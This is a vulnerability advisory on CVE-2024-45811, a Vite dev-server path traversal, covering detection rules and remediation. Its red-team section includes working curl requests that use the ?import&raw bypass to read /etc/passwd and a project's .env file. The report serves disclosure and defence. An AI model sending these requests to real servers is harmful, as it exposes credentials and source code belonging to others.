CVE-2024-45811

Executive Summary

CVE-2024-45811 is a path traversal vulnerability in Vite, a popular frontend build tool. The vulnerability allows an attacker to bypass the @fs serve allow list by appending ?import&raw to a URL, enabling the retrieval of arbitrary file contents from the server's filesystem. This can lead to the exposure of sensitive information such as source code, configuration files, and credentials. The vulnerability has been patched in recent versions, and users are strongly advised to upgrade. No known workarounds exist.

Supply Chain & Package Security

Vite is an npm package. This vulnerability affects the development server and preview server, which are commonly used during development and testing. If a developer's environment is exposed to a network (e.g., via a misconfigured firewall or a public demo), an attacker could exploit this to steal source code or secrets. Organizations should ensure that Vite dev servers are not exposed to untrusted networks and that all development dependencies are kept up to date.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The threat level is medium due to the low complexity and network attack vector, but the impact is limited to low confidentiality. However, in practice, the exposure of source code or configuration files can be critical for further attacks.

Deep Dive & Mechanics

Vite's @fs serve allow list is designed to restrict file access to only those within the project's root directory. The vulnerability arises from improper handling of the ?import&raw query parameter. When a request like /@fs/path/to/file?import&raw is made, Vite's internal logic incorrectly processes the query string, bypassing the allow list check. This allows an attacker to read any file on the filesystem that the Vite server process has access to.

The root cause is a lack of validation for the ?import&raw parameter combination. The raw parameter is intended for importing files as raw strings, but when combined with import, it triggers a code path that does not enforce the @fs restrictions.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In vulnerable versions, the allow list check is skipped when ?import&raw is present
if (url.includes('?import&raw')) {
  // Bypass @fs allow list
  return fs.readFileSync(filePath);
}

Patched Code (Conceptual):

// In patched versions, the allow list check is enforced regardless of query parameters
if (url.includes('?import&raw')) {
  if (!isInAllowList(filePath)) {
    throw new Error('Access denied');
  }
  return fs.readFileSync(filePath);
}

The patch ensures that the @fs allow list is always checked before serving any file, even when the ?import&raw parameter is present.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of Vite: npm install vite@5.4.5
2. Create a simple Vite project: npm create vite@latest
3. Start the dev server: npx vite --host 0.0.0.0

Exploitation:

# Attempt to read /etc/passwd
curl "http://target:5173/@fs/etc/passwd?import&raw"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Additional Payloads:

# Read .env file
curl "http://target:5173/@fs/path/to/project/.env?import&raw"

# Read package.json
curl "http://target:5173/@fs/path/to/project/package.json?import&raw"

Blue Team

Detection:

• Monitor for requests containing ?import&raw in the URL path.
• Look for requests to /@fs/ paths that are not expected.
• Alert on any successful file read attempts outside the project root.

Hunting:

• Search web server logs for patterns like ?import&raw and /@fs/.
• Correlate with known Vite server versions.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing ?import&raw in the query string.
• File System: Unexpected access to files outside the project root via Vite dev server.
• Logs: Vite server logs showing requests to /@fs/ paths with ?import&raw.

Detection Engineering

YARA Rule

rule CVE_2024_45811_Vite_Path_Traversal {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45811 in Vite"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45811"
    strings:
        $s1 = "?import&raw" ascii wide nocase
        $s2 = "/@fs/" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-45811 Vite Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-45811 in Vite
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "?import&raw"
        cs-uri-stem|contains: "/@fs/"
    condition: selection
falsepositives:
    - Legitimate use of raw imports in development
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45811 Vite Path Traversal Attempt"; flow:to_server,established; content:"?import&raw"; http_uri; content:"/@fs/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Vite to a patched version: npm install vite@5.4.6 (or later).
2. If immediate upgrade is not possible, restrict network access to the Vite dev server (e.g., bind to localhost only).
3. Review and rotate any secrets that may have been exposed.

Long-term Measures:

• Implement network segmentation to prevent exposure of development servers.
• Use a reverse proxy with strict access controls in front of Vite dev servers.
• Regularly audit dependencies for known vulnerabilities.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intelligence@valters-it.com.